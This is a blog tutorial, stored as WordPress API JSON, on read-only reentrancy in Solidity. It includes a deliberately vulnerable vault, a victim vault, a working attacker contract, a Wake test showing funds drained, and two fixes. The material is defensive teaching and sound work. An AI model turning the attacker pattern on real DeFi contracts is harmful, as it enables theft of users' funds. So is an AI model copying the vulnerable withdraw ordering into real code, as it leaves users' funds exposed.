{"id":757,"date":"2025-02-27T13:20:59","date_gmt":"2025-02-27T11:20:59","guid":{"rendered":"https:\/\/ackee.xyz\/blog\/?p=757"},"modified":"2025-02-27T13:20:59","modified_gmt":"2025-02-27T11:20:59","slug":"read-only-reentrancy-attack","status":"publish","type":"post","link":"https:\/\/ackee.xyz\/blog\/read-only-reentrancy-attack\/","title":{"rendered":"Read-only Reentrancy Attack"},"content":{"rendered":"<p class=\"code-line\" dir=\"auto\" data-line=\"2\">A read-only reentrancy attack uses the view function and reentrancy feature to manipulate smart contracts and extract value. The view function returns the value in the middle of state changes, which allows the attacker to manipulate the token price. Let&#8217;s take a closer look at this vulnerability and how to prevent it.<\/p>\n<p dir=\"auto\" data-line=\"2\">Other reentrancy attacks include:<\/p>\n<ul>\n<li dir=\"auto\" data-line=\"4\"><a href=\"https:\/\/ackee.xyz\/blog\/single-function-reentrancy-attack\/\" target=\"_blank\" rel=\"noopener\">Single Function Reentrancy Attack<\/a><\/li>\n<li dir=\"auto\" data-line=\"4\"><a href=\"https:\/\/ackee.xyz\/blog\/cross-function-reentrancy-attack\/\" target=\"_blank\" rel=\"noopener\">Cross Function Reentrancy Attack<\/a><\/li>\n<li dir=\"auto\" data-line=\"4\"><a href=\"https:\/\/ackee.xyz\/blog\/cross-contract-reentrancy-attack\/\" target=\"_blank\" rel=\"noopener\">Cross Contract Reentrancy Attack<\/a><\/li>\n<\/ul>\n<p class=\"code-line\" dir=\"auto\" data-line=\"4\">These reentrancy example blogs describe attacks on general functions. But in a read-only reentrancy attack, the vulnerabilities are in the view function.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"4\">In this attack, the victim contract depends on the view function of the vulnerable contract and it decides the price by that view function.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"6\">This is an example of a vulnerable contract:<\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport &quot;@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol&quot;;\n\n\ncontract VulnVault is ReentrancyGuard {\n\n    uint256 private totalTokens;\n    uint256 private totalStake;\n\n    mapping (address =&gt; uint256) public balances;\n\n    error ReadonlyReentrancy();\n\n    function getCurrentPrice() public view returns (uint256) {\n        if(totalTokens == 0 || totalStake == 0) return 10e18;\n        return totalTokens * 10e18 \/ totalStake;\n    }\n\n    function deposit() public payable nonReentrant {\n        uint256 mintAmount = msg.value * getCurrentPrice() \/ 10e18;\n        totalStake += msg.value;\n        balances[msg.sender] += mintAmount;\n        totalTokens += mintAmount;\n    }\n\n    function withdraw(uint256 burnAmount) public nonReentrant { \n        uint256 sendAmount = burnAmount * 10e18 \/ getCurrentPrice();\n        totalStake -= sendAmount;\n        balances[msg.sender] -= burnAmount;\n        (bool success, ) = msg.sender.call{value: sendAmount}(&quot;&quot;);\n        require(success, &quot;Failed to send Ether&quot;); \n        totalTokens -= burnAmount;\n    }\n}<\/code><\/pre>\n<p class=\"code-line\" dir=\"auto\" data-line=\"47\">We already have the\u00a0<code class=\"codehl\">nonReentrant<\/code> modifier for all public, non-view functions. That prevents reentrancy attacks within this contract. Additionally, we prevent reentrancy by checking the value before writing after the external call related to the\u00a0<code class=\"codehl\">burnAmount<\/code>. This ensures that reentrancy is not possible within this contract.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"51\">However, if the <code class=\"codehl\">getCurrentPrice<\/code> function is called at the external call of withdrawal, the <code class=\"codehl\">getCurrentPrice<\/code> function returns a different value. Since at that moment the <code class=\"codehl\">totalTokens<\/code> value is different from the actual, this is a problem. Furthermore, if the <code class=\"codehl\">getCurrentPrice<\/code>\u00a0function is called during the external call of\u00a0<code class=\"codehl\">withdraw<\/code>, it may return a different value. This discrepancy arises because the\u00a0<code class=\"codehl\">totalTokens<\/code>\u00a0value is not accurate at that moment, leading to potential issues.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"56\">If a pool works similarly, using the <code class=\"codehl\">getCurrentPrice<\/code> function, that\u00a0function might return a higher value than the actual price. This is problematic.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"58\">This is the victim contract.<\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport &quot;@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol&quot;;\nimport &quot;.\/VulnVault.sol&quot;;\n\n\ncontract VictimVault is ReentrancyGuard {\n    VulnVault vulnVault;\n\n    mapping (address =&gt; uint256) public balances;\n\n    constructor(address vulnVaultAddress) {\n        vulnVault = VulnVault(vulnVaultAddress);\n    }\n\n    function deposit() public payable nonReentrant {\n        uint256 tokenAmount = msg.value * vulnVault.getCurrentPrice() \/ 10e18;\n        balances[msg.sender] += tokenAmount;\n    }\n\n    function withdraw(uint256 tokenAmount) public nonReentrant {\n        balances[msg.sender] -= tokenAmount;\n        uint256 ethAmount = tokenAmount * 10e18 \/ vulnVault.getCurrentPrice();\n        (bool success, ) = msg.sender.call{value: ethAmount}(&quot;&quot;);\n        require(success, &quot;Failed to send Ether&quot;); \n    }\n}<\/code><\/pre>\n<p class=\"code-line\" dir=\"auto\" data-line=\"92\">the <code class=\"codehl\">ethAmount<\/code> depends on <code class=\"codehl\">vulnVault.getCurrentPrice<\/code> in the <code class=\"codehl\">withdraw<\/code> function.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"94\">And also the\u00a0<code class=\"codehl\">deposit<\/code> function of the <code class=\"codehl\">tokenAmount<\/code>\u00a0depends on <code class=\"codehl\">vulnVault.getCurrentPrice<\/code>.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"96\">so if the <code class=\"codehl\">vulnVault.getCurrentPrice<\/code> is different from the actual value, the attacker can get benefits.<\/p>\n<h2 class=\"code-line\" dir=\"auto\" data-line=\"98\">Example of a read-only reentrancy attack<\/h2>\n<p class=\"code-line\" dir=\"auto\" data-line=\"100\">If we do as follows:<\/p>\n<ol class=\"code-line\" dir=\"auto\" data-line=\"102\">\n<li class=\"code-line\" dir=\"auto\" data-line=\"102\">Call <code class=\"codehl\">VulnVault.withdraw<\/code>.<\/li>\n<li class=\"code-line\" dir=\"auto\" data-line=\"103\">In the external call, call the <code class=\"codehl\">VictimVault.deposit<\/code>\u00a0function<\/li>\n<\/ol>\n<p class=\"code-line\" dir=\"auto\" data-line=\"105\">The\u00a0<code class=\"codehl\">vulnVault.getCurrentPrice<\/code> returns an incorrect value, moreover bigger than the actual value since <code class=\"codehl\">totalTokens<\/code> is still not updated. Because the calculation inside of <code class=\"codehl\">getCurrentPrice<\/code> is computed by\u00a0<code class=\"codehl\">totalTokens * 10e18 \/ totalStake<\/code>, the numerator has a larger value.<\/p>\n<p class=\"code-line\" dir=\"auto\" data-line=\"108\">Therefore, by calling the <code class=\"codehl\">VictimVault.deposit<\/code> function in the external call, an attacker can benefit.<\/p>\n<h3 id=\"attacker-contract\" class=\"code-line\" dir=\"auto\" data-line=\"106\">Attacker contract<\/h3>\n<p class=\"code-line\" dir=\"auto\" data-line=\"112\">This is the attack contract:<\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier:  None\npragma solidity 0.8.20;\n\nimport &quot;.\/VictimVault.sol&quot;;\nimport &quot;.\/VulnVault.sol&quot;;\n\n\ncontract Attacker {\n\n    VulnVault public vulnVault;\n\n    VictimVault public victimVault;\n\n    uint256 public counter;\n\n    constructor(address vulnerable_pool, address victim_pool) payable {\n        vulnVault = VulnVault(vulnerable_pool);\n        victimVault = VictimVault(victim_pool);\n        counter = 0;\n    }\n\n    function attack() public {\n        vulnVault.deposit{value: 1e18}();\n        vulnVault.withdraw(1e18);\n        uint256 balance = victimVault.balances(address(this));\n        victimVault.withdraw(balance);\n    }\n\n    receive() external payable {\n        if(counter == 0){\n            counter++;\n            victimVault.deposit{value: 1e18}(); \n        }\n    }\n}<\/code><\/pre>\n<h3 class=\"code-line\" dir=\"auto\" data-line=\"148\">Exploit of a read-only reentrancy attack<\/h3>\n<pre><code class=\"language-python\">from wake.testing import *\n\nfrom pytypes.contracts.readonlyreentrancy.VictimVault import VictimVault\nfrom pytypes.contracts.readonlyreentrancy.VulnVault import VulnVault\nfrom pytypes.contracts.readonlyreentrancy.Attacker import Attacker\n\n@default_chain.connect()\ndef test_default():\n    print(&quot;---------------------Read Only Reentrancy---------------------&quot;)\n    vuln_pool = VulnVault.deploy() \n    victim_pool = VictimVault.deploy(vuln_pool.address)\n    vuln_pool.deposit(value=&quot;10 ether&quot;, from_=default_chain.accounts[2]) # general user\n    victim_pool.deposit(value=&quot;10 ether&quot;, from_=default_chain.accounts[2]) # general user\n\n    attacker = Attacker.deploy(vuln_pool.address, victim_pool.address,value=&quot;1 ether&quot;, from_=default_chain.accounts[0])\n\n    print(&quot;Vault balance:    &quot;, victim_pool.balance)\n    print(&quot;Attacker balance: &quot;, attacker.balance)\n    \n    print(&quot;---------------------attack---------------------&quot;)\n    tx = attacker.attack()\n    print(tx.call_trace)\n\n    print(&quot;Vault balance:    &quot;, victim_pool.balance)   \n    print(&quot;Attacker balance: &quot;, attacker.balance)<\/code><\/pre>\n<p class=\"code-line\" dir=\"auto\" data-line=\"184\">This is the output of <a href=\"https:\/\/getwake.io\/\" target=\"_blank\" rel=\"noopener\">Wake<\/a>, our Ethereum testing framework. We can see the Vault balance changed from 10 ETH to 9.9 ETH. The attacker balance changed from 1 ETH to 1.1 ETH.<\/p>\n<pre><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-758\" src=\"https:\/\/abchprod.wpengine.com\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-15-18-33-41.png\" alt=\"\" width=\"860\" height=\"460\" srcset=\"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-15-18-33-41.png 860w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-15-18-33-41-300x160.png 300w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-15-18-33-41-768x411.png 768w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-15-18-33-41-370x198.png 370w, https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Screenshot-from-2024-06-15-18-33-41-760x407.png 760w\" sizes=\"auto, (max-width: 860px) 100vw, 860px\" \/><\/pre>\n<h2 class=\"code-line\" dir=\"auto\" data-line=\"205\">How to prevent a read-only reentrancy attack?<\/h2>\n<h3 id=\"reentrancyguard\" class=\"code-line\" dir=\"auto\" data-line=\"207\">Use ReentrancyGuard<\/h3>\n<p class=\"code-line\" dir=\"auto\" data-line=\"213\">A simple reentrancy guard alone cannot prevent this attack. However, setting additional checks with a reentrancy guard can effectively prevent this type of attack.<\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport &quot;@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol&quot;;\n\n\ncontract VulnVault is ReentrancyGuard {\n\n    uint256 private totalTokens;\n    uint256 private totalStake;\n\n    mapping (address =&gt; uint256) public balances;\n\n    error ReadonlyReentrancy();\n\n    function getCurrentPrice() public view returns (uint256) {\n        if(_reentrancyGuardEntered()){\n            revert ReadonlyReentrancy();\n        }\n        if(totalTokens == 0 || totalStake == 0) return 10e18;\n        return totalTokens * 10e18 \/ totalStake;\n    }\n\n    function deposit() public payable nonReentrant {\n        uint256 mintAmount = msg.value * getCurrentPrice() \/ 10e18;\n        totalStake += msg.value;\n        balances[msg.sender] += mintAmount;\n        totalTokens += mintAmount;\n    }\n\n    function withdraw(uint256 burnAmount) public nonReentrant { \n        uint256 sendAmount = burnAmount * 10e18 \/ getCurrentPrice();\n        totalStake -= sendAmount;\n        balances[msg.sender] -= burnAmount;\n        (bool success, ) = msg.sender.call{value: sendAmount}(&quot;&quot;);\n        require(success, &quot;Failed to send Ether&quot;); \n        totalTokens -= burnAmount;\n    }\n}<\/code><\/pre>\n<h3 id=\"checks-effects-interactions\" class=\"code-line\" dir=\"auto\" data-line=\"226\">CEI (checks-effects-interactions)<\/h3>\n<p>This prevention solves the cause of the vulnerability, because it makes the necessary state change before the external call. So, including the view function, it returns a trusted value even if it is called recursively.<\/p>\n<pre><code class=\"language-solidity\">\/\/ SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport &quot;@openzeppelin\/contracts\/utils\/ReentrancyGuard.sol&quot;;\n\n\ncontract VulnVault is ReentrancyGuard {\n\n    uint256 private totalTokens;\n    uint256 private totalStake;\n\n    mapping (address =&gt; uint256) public balances;\n\n    error ReadonlyReentrancy();\n\n    function getCurrentPrice() public view returns (uint256) {\n        if(totalTokens == 0 || totalStake == 0) return 10e18;\n        return totalTokens * 10e18 \/ totalStake;\n    }\n\n    function deposit() public payable nonReentrant {\n        uint256 mintAmount = msg.value * getCurrentPrice() \/ 10e18;\n        totalStake += msg.value;\n        balances[msg.sender] += mintAmount;\n        totalTokens += mintAmount;\n    }\n\n    function withdraw(uint256 burnAmount) public nonReentrant { \n        uint256 sendAmount = burnAmount * 10e18 \/ getCurrentPrice();\n        totalStake -= sendAmount;\n        balances[msg.sender] -= burnAmount;\n        totalTokens -= burnAmount;\n        (bool success, ) = msg.sender.call{value: sendAmount}(&quot;&quot;);\n        require(success, &quot;Failed to send Ether&quot;); \n    }\n}<\/code><\/pre>\n<h2 dir=\"auto\" data-line=\"243\">Conclusion<\/h2>\n<p>This is an example of a read-only reentrancy attack. In this contract, the vulnerability is trivial. However, in real-world projects, these vulnerabilities are often more subtle and complex, hidden within complex contract interactions and state management. Understanding this attack vector lets you identify similar patterns in more sophisticated DeFi protocols where price oracle manipulations or stale state readings could lead to significant financial losses.<\/p>\n<p class=\"code-line code-active-line\" dir=\"auto\" data-line=\"246\"><span style=\"font-weight: 400;\">We have a <a title=\"Reentrancy Examples Github Repository\" href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\" target=\"_blank\" rel=\"noopener\">Reentrancy Examples Github Repository<\/a> with several other types of reentrancy attacks, including attack examples, protocol-specific reentrancies, and prevention methods. Read them below to learn how to secure your protocol.<\/span><\/p>\n<ul>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/single-function-reentrancy\">Single-function reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/cross-function-reentrancy\">Cross-function reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/cross-contract-reentrancy\">Cross-contract reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/read-only-reentrancy\">Read-only reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/cross-chain-reentrancy\">Cross-chain reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/erc721\">ERC-721 reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/erc777\">ERC-777 reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/flash-loan\">Flash loan reentrancy<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/Ackee-Blockchain\/reentrancy-examples\/blob\/master\/contracts\/erc1155\">ERC-1155 reentrancy<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>A read-only reentrancy attack uses the view function and reentrancy feature to manipulate smart contracts and extract value. The view function returns the value in the middle of state changes, which allows the attacker to manipulate the token price. Let&#8217;s take a closer look at this vulnerability and how to prevent it. Other reentrancy attacks include: Single Function Reentrancy Attack Cross Function&hellip;<\/p>\n","protected":false},"author":24,"featured_media":852,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[61,10,84,63,103],"tags":[14,86,138],"class_list":["post-757","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-education","category-ethereum","category-hacks","category-tutorial","category-wake","tag-exploit","tag-hack","tag-reentrancy-attack"],"aioseo_notices":[],"featured_image_src":"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Read-Only-Reentrancy-Attack-600x400.png","featured_image_src_square":"https:\/\/ackee.xyz\/blog\/wp-content\/uploads\/2024\/06\/Read-Only-Reentrancy-Attack-600x600.png","author_info":{"display_name":"Naoki Yoshida","author_link":"https:\/\/ackee.xyz\/blog\/author\/naoki-yoshida\/"},"_links":{"self":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts\/757","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/users\/24"}],"replies":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/comments?post=757"}],"version-history":[{"count":0,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/posts\/757\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/media\/852"}],"wp:attachment":[{"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/media?parent=757"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/categories?post=757"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ackee.xyz\/blog\/wp-json\/wp\/v2\/tags?post=757"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}